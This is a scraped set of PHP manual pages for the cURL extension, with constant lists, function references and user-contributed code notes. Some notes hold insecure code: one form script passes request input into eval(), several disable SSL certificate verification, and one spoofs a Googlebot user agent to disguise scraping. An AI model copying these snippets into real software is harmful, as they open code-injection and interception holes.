CURLE_FILESIZE_EXCEEDED (integer)
CURLE_FTP_SSL_FAILED (integer)
CURLFTPAUTH_DEFAULT (integer)
Available since PHP 5.1.0
CURLFTPAUTH_SSL (integer)
Available since PHP 5.1.0
CURLFTPAUTH_TLS (integer)
Available since PHP 5.1.0
CURLPROXY_HTTP (integer)
CURLPROXY_SOCKS5 (integer)
CURL_NETRC_OPTIONAL (integer)
CURL_NETRC_IGNORED (integer)
CURL_NETRC_REQUIRED (integer)
CURL_HTTP_VERSION_NONE (integer)
CURL_HTTP_VERSION_1_0 (integer)
CURL_HTTP_VERSION_1_1 (integer)
CURLM_CALL_MULTI_PERFORM (integer)
CURLM_OK (integer)
CURLM_BAD_HANDLE (integer)
CURLM_BAD_EASY_HANDLE (integer)
CURLM_OUT_OF_MEMORY (integer)
CURLM_INTERNAL_ERROR (integer)
CURLMSG_DONE (integer)
CURLOPT_KEYPASSWD (integer)
CURLOPT_SSH_AUTH_TYPES (integer)
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 (integer)
CURLOPT_SSH_PRIVATE_KEYFILE (integer)
CURLOPT_SSH_PUBLIC_KEYFILE (integer)
CURLMOPT_PIPELINING (integer)
Available since PHP 5.5.0 and cURL 7.16.0.
CURLMOPT_MAXCONNECTS (integer)
Available since PHP 5.5.0 and cURL 7.16.3.
CURLSSH_AUTH_ANY (integer)
CURLSSH_AUTH_DEFAULT (integer)
CURLSSH_AUTH_HOST (integer)
CURLSSH_AUTH_KEYBOARD (integer)
CURLSSH_AUTH_NONE (integer)
CURLSSH_AUTH_PASSWORD (integer)
CURLSSH_AUTH_PUBLICKEY (integer)
CURL_WRAPPERS_ENABLED (integer)
Defined if PHP was configured with --with-curlwrappers . Moved to PECL in PHP 5.5.0.
CURLPAUSE_ALL (integer)
Available since PHP 5.5.0 and cURL 7.18.0.
CURLPAUSE_CONT (integer)
Available since PHP 5.5.0 and cURL 7.18.0.
CURLPAUSE_RECV (integer)
Available since PHP 5.5.0 and cURL 7.18.0.
CURLPAUSE_RECV_CONT (integer)
Available since PHP 5.5.0 and cURL 7.18.0.
CURLPAUSE_SEND (integer)
Available since PHP 5.5.0 and cURL 7.18.0.
CURLPAUSE_SEND_CONT (integer)
Available since PHP 5.5.0 and cURL 7.18.0.

User Contributed Notes

s dot coletta at unidata dot it 08-Oct-2009 11:17
Beware of CURLE_* constants!

On the official site:

http://curl.haxx.se/libcurl/c/libcurl-errors.html

some constants are different, some missing compared to the PHP implementation.

Some examples:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT

So if you use the second, it won't march the error 28 because in PHP it is not defined that way.

The same is for these:

CURLE_HTTP_RETURNED_ERROR
CURLE_UPLOAD_FAILED
CURLE_INTERFACE_FAILED
CURLE_SSL_CERTPROBLEM
CURLE_SEND_FAIL_REWIND
CURLE_LOGIN_DENIED
CURLE_AGAIN

that are in someway named differently or missing from PHP.
Ron 05-Aug-2007 08:48
<?
/*
* Author: Ron
* Released: August 4, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.ericgiguere.com/tools/http-header-viewer.html';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

~Ron


Examples

Table of Contents

  • Basic curl example

User Contributed Notes

shashank at neupane dot com dot np 04-Mar-2013 06:43
to get the full webpages from head as well as body

<?php
$curl = curl_init('http://example.com');
curl_setopt($curl, CURLOPT_FAILONERROR, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($curl);
echo $result;
?>
William at crandell dot ws 20-Feb-2010 12:11
I have found that cURL is pretty easy to use overall.  Though I have noticed that many have tried and struggled with using cURL and getting a ASP.NET or .aspx form/ page to give back a response.  I am included in the people who have struggled.
To note it seems to be something with the way the form authenticates.

From what I have seen and gathered ASP.NET has a "postback" function using AJAX, __EVENTTARGET, __EVENTARGUMENT and viewstate.  That is where you need to start and make use of the post option with cURL.

Though I do not have an example to offer, I understand that you may need to do more than 1 curl session to complete everything.  One to post and one to get.
vojta at draxl dot eu 16-Aug-2009 11:34
The previous solution is useful for passing through The Google Docs form and also handle the filled data at own server.

You can add the missing feature of confirmation mail with own script and more

PHP converts the dots in the variable's names to underscore. So dont forget to replace back the _ with . in the names of POST variables before sending to google.
ac at zwerg dot at 26-Jun-2009 01:46
If you want to write a sort of php wrapper to include the results of another http(s) request maybe pointing to a totally different site or just different code (mod_perl with HTML::Mason, in my case) into a php based layout, and just pass-thru all GET and POST variables to the sub-request, the following snippet can be used. Note there is no error handling, so this is subject to the underlying application.

<?php
$ch = curl_init($sub_req_url);
$encoded = '';
// include GET as well as POST variables; your needs may vary.
foreach($_GET as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
foreach($_POST as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
// chop off last ampersand
$encoded = substr($encoded, 0, strlen($encoded)-1);
curl_setopt($ch, CURLOPT_POSTFIELDS,  $encoded);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_exec($ch);
curl_close($ch);
?>
cmnajs at gmail dot com 08-Jan-2009 12:57
Following code returns the curl output as a string.

<?php
        // create curl resource
        $ch = curl_init();

        // set url
        curl_setopt($ch, CURLOPT_URL, "example.com");

        //return the transfer as a string
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        // $output contains the output string
        $output = curl_exec($ch);

        // close curl resource to free up system resources
        curl_close($ch);
?>
randearievilo at gmail dot com 16-Jun-2008 07:39
This simple code work fine using libcurl versions before 7.18.x.

<?php
        $ch = curl_init("www.example.com/curl.php?option=test");
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
        echo $output;
?>

If you have some trouble (Ex.: Failed to open/read local data from file/application) using a similar code with libcurl 7.18.x, try to add the option curl_setopt($ch, CURLOPT_POSTFIELDS, "").

I think there was a change in the option CURLOPT_POST. Now, to use this option, it seems to be necessary to set the option CURLOPT_POSTFIELDS.
jlee8df at gmail dot com 30-May-2008 10:47
Basic cURL file or page download with basic error trapping.

<?php

function cURLcheckBasicFunctions()
{
  if( !function_exists("curl_init") &&
      !function_exists("curl_setopt") &&
      !function_exists("curl_exec") &&
      !function_exists("curl_close") ) return false;
  else return true;
}

/*
 * Returns string status information.
 * Can be changed to int or bool return types.
 */
function cURLdownload($url, $file)
{
  if( !cURLcheckBasicFunctions() ) return "UNAVAILABLE: cURL Basic Functions";
  $ch = curl_init();
  if($ch)
  {
    $fp = fopen($file, "w");
    if($fp)
    {
      if( !curl_setopt($ch, CURLOPT_URL, $url) )
      {
        fclose($fp); // to match fopen()
        curl_close($ch); // to match curl_init()
        return "FAIL: curl_setopt(CURLOPT_URL)";
      }
      if( !curl_setopt($ch, CURLOPT_FILE, $fp) ) return "FAIL: curl_setopt(CURLOPT_FILE)";
      if( !curl_setopt($ch, CURLOPT_HEADER, 0) ) return "FAIL: curl_setopt(CURLOPT_HEADER)";
      if( !curl_exec($ch) ) return "FAIL: curl_exec()";
      curl_close($ch);
      fclose($fp);
      return "SUCCESS: $file [$url]";
    }
    else return "FAIL: fopen()";
  }
  else return "FAIL: curl_init()";
}

// Download from 'example.com' to 'example.txt'
echo cURLdownload("http://www.example.com", "example.txt");

?>

- JLèé


Basic curl example

Once you've compiled PHP with cURL support, you can begin using the cURL functions. The basic idea behind the cURL functions is that you initialize a cURL session using the curl_init(), then you can set all your options for the transfer via the curl_setopt(), then you can execute the session with the curl_exec() and then you finish off your session using the curl_close(). Here is an example that uses the cURL functions to fetch the example.com homepage into a file:

Example #1 Using PHP's cURL module to fetch the example.com homepage

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);
fclose($fp);
?>

User Contributed Notes

Anon 18-Feb-2014 08:16
IMO this example would have been better if it had done a check for curl_error(), in order to advertize the existence of this function to people learning about cURL who try the example but mysteriously get no response back for whatever reason.
Anon 18-Feb-2014 07:25
The example fetches a resource (the homepage of a website) and writes it to the the file represented by $fp.

Judging from comments elsewhere in this chapter, the example given ought to set CURLOPT_RETURNTRANSFER to true prior to setting CURLOPT_FILE.
simon dot riget at gmail dot com 30-Apr-2013 07:23
Using ArangoDB with PHP

Coding with a NoSQL data base like ArangoDB can be made more complicated then need be. A simple solution to code for ArangoDB is to use the REST interface directly.
All you need is a few initialization variables and a small function to ease the typing - and of cause install the php5-curls module...
See ArangoDB REST API documentation for options and request types.

<?php
// Initialize options for REST interface
$adb_url="http://127.0.0.1:8529";
$adb_option_defaults = array(
    CURLOPT_HEADER => false,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 2
  );

// ArangoDB REST function.
// Connection are created demand and closed by PHP on exit.
function adb_rest($method,$uri,$querry=NULL,$json=NULL,$options=NULL){
  global $adb_url,$adb_handle,$adb_option_defaults;

  // Connect
  if(!isset($adb_handle)) $adb_handle = curl_init();

  echo "DB operation: $method $uri $querry $json\n";

  // Compose querry
  $options = array(
    CURLOPT_URL => $adb_url.$uri."?".$querry,
    CURLOPT_CUSTOMREQUEST => $method, // GET POST PUT PATCH DELETE HEAD OPTIONS
    CURLOPT_POSTFIELDS => $json,
  );
  curl_setopt_array($adb_handle,($options + $adb_option_defaults));

  // send request and wait for responce
  $responce =  json_decode(curl_exec($adb_handle),true);

  echo "Responce from DB: \n";
  print_r($responce);

  return($responce);
}
?>

Here's some examples:

<?php
// Create a collection
$responce = adb_rest("POST","/_api/collection","",'{"name" : "test"}');

// Create a document
$responce = adb_rest("POST","/_api/document","collection=test",'{ "hello" : "World" }');

// List documents in a collection
$responce=adb_rest("GET","/_api/document","collection=test");

// Change document
$document_handle=$responce['documents'][0];
$responce=adb_rest("PATCH",$document_handle,"",'{ "hello" : "World of mine" }');

// Show document
$responce=adb_rest("GET",$document_handle);

// Search
$responce=adb_rest("POST","/_api/cursor","",'{
  "query" : "FOR t IN test RETURN t",
  "count" : true,
  "batchSize" : 50
}');

while($responce['hasMore'])
  $responce=adb_rest("PUT","/_api/cursor/".$responce['id']);

// Delete document
$responce=adb_rest("DELETE",$document_handle);

// DB Delete collection
$responce=adb_rest("DELETE","/_api/collection/test");

// to handle errors, add something like this:
if($responce['error']) die ("can't create collection");

?>


cURL Functions

Table of Contents

  • curl_close — Close a cURL session
  • curl_copy_handle — Copy a cURL handle along with all of its preferences
  • curl_errno — Return the last error number
  • curl_error — Return a string containing the last error for the current session
  • curl_escape — URL encodes the given string
  • curl_exec — Perform a cURL session
  • curl_file_create — Create a CURLFile object
  • curl_getinfo — Get information regarding a specific transfer
  • curl_init — Initialize a cURL session
  • curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle
  • curl_multi_close — Close a set of cURL handles
  • curl_multi_exec — Run the sub-connections of the current cURL handle
  • curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set
  • curl_multi_info_read — Get information about the current transfers
  • curl_multi_init — Returns a new cURL multi handle
  • curl_multi_remove_handle — Remove a multi handle from a set of cURL handles
  • curl_multi_select — Wait for activity on any curl_multi connection
  • curl_multi_setopt — Set an option for the cURL multi handle
  • curl_multi_strerror — Return string describing error code
  • curl_pause — Pause and unpause a connection
  • curl_reset — Reset all options of a libcurl session handle
  • curl_setopt_array — Set multiple options for a cURL transfer
  • curl_setopt — Set an option for a cURL transfer
  • curl_share_close — Close a cURL share handle
  • curl_share_init — Initialize a cURL share handle
  • curl_share_setopt — Set an option for a cURL share handle.
  • curl_strerror — Return string describing the given error code
  • curl_unescape — Decodes the given URL encoded string
  • curl_version — Gets cURL version information

User Contributed Notes

helmizz at yahoo dot com 11-May-2014 07:03
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : http://amazon.com
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
 </head>

 <body>

 <form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
 </form>

 <?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

 ?>
 <textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
 </body>
</html>
Emprivo.com 26-Aug-2009 06:58
Fixed bugs in the function posted earlier (better javascript redirect following and now supports HTTPS)

<?php

/*==================================
Get url content and response headers (given a url, follows all redirections on it and returned content and response headers of final url)

@return    array[0]    content
        array[1]    array of response headers
==================================*/
function get_url( $url,  $javascript_loop = 0, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );    # required for https urls
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");

        if ( $headers = get_headers($response['url']) )
        {
            foreach( $headers as $value )
            {
                if ( substr( strtolower($value), 0, 9 ) == "location:" )
                    return get_url( trim( substr( $value, 9, strlen($value) ) ) );
            }
        }
    }

    if (    ( preg_match("/>[[:space:]]+window\.location\.replace\('(.*)'\)/i", $content, $value) || preg_match("/>[[:space:]]+window\.location\=\"(.*)\"/i", $content, $value) ) &&
            $javascript_loop < 5
    )
    {
        return get_url( $value[1], $javascript_loop+1 );
    }
    else
    {
        return array( $content, $response );
    }
}

?>
Peter X. 03-May-2008 04:44
Although it has been noted that cURL outperforms both file_get_contents and fopen when it comes to getting a file over a HTTP link, the disadvantage of cURL is that it has no way of only reading a part of a page at a time.

For example, the following code is likely to generate a memory limit error:

<?php
$ch = curl_init("http://www.example.com/reallybigfile.tar.gz");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$output = curl_exec($ch);

$fh = fopen("out.tar.gz", 'w');
fwrite($fh, $output);
fclose($fh);
?>

While this, on the other hand, wouldn't

<?php
$hostfile = fopen("http://www.example.com/reallybigfile.tar.gz", 'r');
$fh = fopen("out.tar.gz", 'w');

while (!feof($hostfile)) {
    $output = fread($hostfile, 8192);
    fwrite($fh, $output);
}

fclose($hostfile);
fclose($fh);
?>
Mr.KTO 07-Jul-2007 03:59
Don't foget to curl_close($ch); Even if curl_errno($ch) != 0

Because if you don't - on Windows this will produce windows-error-report (Program terminated unexpectedly)
killermonk at REMOVE dot killermonk dot com 06-Mar-2007 08:23
For anyone trying to use cURL to submit to an ASP/ASPX page that uses an image as the submit button.

Make sure that you have 'button_name.x' and 'button_name.y' in the post fields. PHP names these fields 'button_name_x' and 'button_name_y', while ASP uses a dot.

Also, as noted above, be sure to include the '__VIEWSTATE' input field in your post request.
gordon_e_rouse at yahoo dot com dot au 25-Jan-2007 11:24
Using curl to take snapshots of the current page for emailing the HTML is a clever little idea. (ie: Email this page to a friend)

<?php
//to be explained below!
session_write_close();

$pageurl = "http://www.site.com/content.php?PHPSESSID=123XYZ
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_URL, $pageurl );
$html = curl_exec ( $ch );
curl_close($ch);

//then you need to fix pathing to absolute
$search = "/(src|href|background)=\"[^:,^>,^\"]*\"/i";

preg_match_all ( $search, $html, $a_matches );

//you can figure out the rest ! but thought the reg expression is useful as well
?>

But here is the catch, you may want to make sure curl connects to the server under the same session as the browser. So naturally you pass the session cookie through the curl system either by the cookie jar system, or through the query string in the path.

This is where you will get stuck. PHP will need write access to the same session file simultaneously!! causing serious hanging issues!

This is why you should close off your session before you make curl take a page snapshot!
galvao at galvao.eti.br 07-Jul-2006 05:27
Note that on Win32 this documentation can get a little confusing.

In order to get this to work you need to:

1) Be sure that the folder where libeay32.dll and ssleay32.dll - tipically C:\\PHP - is present on the PATH variable.

2) Uncomment - remove the semi-colon - the line that says "extension=php_curl.dll" from php.ini

3) Restart the webserver (you should already know this one, but...)

It took me some time to realize this, since this page doesn't mention the need to uncomment that php.ini's line.
richardkmiller AT gmail 03-Mar-2006 01:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
stevehartken at hotmail dot com 22-Feb-2006 07:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

<?php
function processURL($url){
    $url=str_replace('&amp;','&',$url);
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $xml = curl_exec ($ch);
    curl_close ($ch);
    echo $xml;
}
?>
mikeb[at]xamo[dot]com 14-Oct-2004 10:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com 14-Sep-2004 11:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

<?php
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>

And then,

<?php
    $curl_output=curl_exec($ch);
?>

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
rich @ richud dot com 11-Jun-2004 04:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk 04-Mar-2004 01:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited


Close a cURL session

  • « cURL Functions
  • curl_copy_handle »
  • PHP Manual
  • cURL Functions
  • Close a cURL session

curl_close

(PHP 4 >= 4.0.2, PHP 5)

curl_close — Close a cURL session

Description

void curl_close ( resource $ch )

Closes a cURL session and frees all resources. The cURL handle, ch, is also deleted.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

No value is returned.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_close() - Close a set of cURL handles

User Contributed Notes

There are no user contributed notes for this page.


Copy a cURL handle along with all of its preferences

  • « curl_close
  • curl_errno »
  • PHP Manual
  • cURL Functions
  • Copy a cURL handle along with all of its preferences

curl_copy_handle

(PHP 5)

curl_copy_handle — Copy a cURL handle along with all of its preferences

Description

resource curl_copy_handle ( resource $ch )

Copies a cURL handle keeping the same preferences.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns a new cURL handle.

Examples

Example #1 Copying a cURL handle

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// copy the handle
$ch2 = curl_copy_handle($ch);

// grab URL (http://www.example.com/) and pass it to the browser
curl_exec($ch2);

// close cURL resources, and free up system resources
curl_close($ch2);
curl_close($ch);
?>

User Contributed Notes

ac221 at sussex dot ac dot uk 16-Jun-2008 12:00
Hmm I don't have a problem with this, using PHP 5.2.5 libcurl 7.16.3 maybe it's been fixed ...

I am m having trouble getting curl_copy_handle to copy all the curlopts across though...

    protected function curlMultiPrime(array $reqArr){
        // Store the request array so we can reinitialise the multi handle
        $this->reqArr = $reqArr;
        // Close existing curl uni handles
        $this->closeMultiCurlUniHandles();
        foreach($reqArr as $curlConf){
            if(!($curlConf instanceof curlConfRequest ))
                throw new curlConfException('All objects passed to configure requests must be instances of curlConfRequest.',curlConfException::CURL_INVALID_CONF_OBJ);
            if(!$cch = curl_copy_handle($this->curlHandle)){
                throw new curlException('Failed to clone template curl handle.',$this->curlHandle);
            }else{
                curl_setopt_array($cch,$curlConf->getCurlOpts());
            }
            if(curl_multi_add_handle($this->curlMultiHandle,$cch) === 0){
                $this->curlUniHandleRef[] = $cch;
            }else{
                throw new curlException('Failed to add curl handle to multi stack.',$cch);
            }
        }
    }
administrator at proxy-list dot org 22-Jan-2008 02:08
There is some internal curl error (CURLE_FAILED_INIT) when you are trying to use just copied curl handle in curl_multi_add_handle(). I have checked the same problematic PHP code but with little difference: instead of creating curl’s copy I have used the original one (template). As I expect code works without any error. I think curl_multi_* along with curl_copy_handle() is still raw and needs some improvements.

With best wishes

Vitali Simsive
Andrew 20-May-2007 08:39
You can use it for some kind of templates:

<?php
$ch = array();
$ch[0] = curl_init();
curl_setopt($ch[0], CURLOPT_URL, 'http://beengo.net/');
curl_setopt($ch[0], CURLOPT_HEADER, 0);
curl_setopt($ch[0], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch[0], CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch[0], CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$ch[1] = curl_copy_handle($ch[0]);
curl_setopt($ch[1], CURLOPT_URL, 'http://beengo.net/cells/list');

$ch[2] = curl_copy_handle($ch[0]);
curl_setopt($ch[2], CURLOPT_URL, 'http://beengo.net/cells/list?q=travel');

/* And so on, when you need to get number of pages with same parameters... */

?>


Return the last error number

  • « curl_copy_handle
  • curl_error »
  • PHP Manual
  • cURL Functions
  • Return the last error number

curl_errno

(PHP 4 >= 4.0.3, PHP 5)

curl_errno — Return the last error number

Description

int curl_errno ( resource $ch )

Returns the error number for the last cURL operation.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns the error number or 0 (zero) if no error occurred.

Examples

Example #1 curl_errno() example

<?php
// Create a curl handle to a non-existing location
$ch = curl_init('http://404.php.net/');

// Execute
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// Check if any error occurred
if(curl_errno($ch))
{
    echo 'Curl error: ' . curl_error($ch);
}

// Close handle
curl_close($ch);
?>

See Also

  • curl_error() - Return a string containing the last error for the current session
  • » Curl error codes

User Contributed Notes

coder.ua[at]gmail.com 11-Jan-2013 08:29
All available curl error constants and values in PHP 5.4.7 on FreeBSD 8.2-RELEASE:

CURLE_UNSUPPORTED_PROTOCOL => 1
CURLE_FAILED_INIT => 2
CURLE_URL_MALFORMAT => 3
CURLE_URL_MALFORMAT_USER => 4
CURLE_COULDNT_RESOLVE_PROXY => 5
CURLE_COULDNT_RESOLVE_HOST => 6
CURLE_COULDNT_CONNECT => 7
CURLE_FTP_WEIRD_SERVER_REPLY => 8
CURLE_FTP_ACCESS_DENIED => 9
CURLE_FTP_USER_PASSWORD_INCORRECT => 10
CURLE_FTP_WEIRD_PASS_REPLY => 11
CURLE_FTP_WEIRD_USER_REPLY => 12
CURLE_FTP_WEIRD_PASV_REPLY => 13
CURLE_FTP_WEIRD_227_FORMAT => 14
CURLE_FTP_CANT_GET_HOST => 15
CURLE_FTP_CANT_RECONNECT => 16
CURLE_FTP_COULDNT_SET_BINARY => 17
CURLE_PARTIAL_FILE => 18
CURLE_FTP_COULDNT_RETR_FILE => 19
CURLE_FTP_WRITE_ERROR => 20
CURLE_FTP_QUOTE_ERROR => 21
CURLE_HTTP_NOT_FOUND => 22
CURLE_WRITE_ERROR => 23
CURLE_MALFORMAT_USER => 24
CURLE_FTP_COULDNT_STOR_FILE => 25
CURLE_READ_ERROR => 26
CURLE_OUT_OF_MEMORY => 27
CURLE_OPERATION_TIMEOUTED => 28
CURLE_FTP_COULDNT_SET_ASCII => 29
CURLE_FTP_PORT_FAILED => 30
CURLE_FTP_COULDNT_USE_REST => 31
CURLE_FTP_COULDNT_GET_SIZE => 32
CURLE_HTTP_RANGE_ERROR => 33
CURLE_HTTP_POST_ERROR => 34
CURLE_SSL_CONNECT_ERROR => 35
CURLE_FTP_BAD_DOWNLOAD_RESUME => 36
CURLE_FILE_COULDNT_READ_FILE => 37
CURLE_LDAP_CANNOT_BIND => 38
CURLE_LDAP_SEARCH_FAILED => 39
CURLE_LIBRARY_NOT_FOUND => 40
CURLE_FUNCTION_NOT_FOUND => 41
CURLE_ABORTED_BY_CALLBACK => 42
CURLE_BAD_FUNCTION_ARGUMENT => 43
CURLE_BAD_CALLING_ORDER => 44
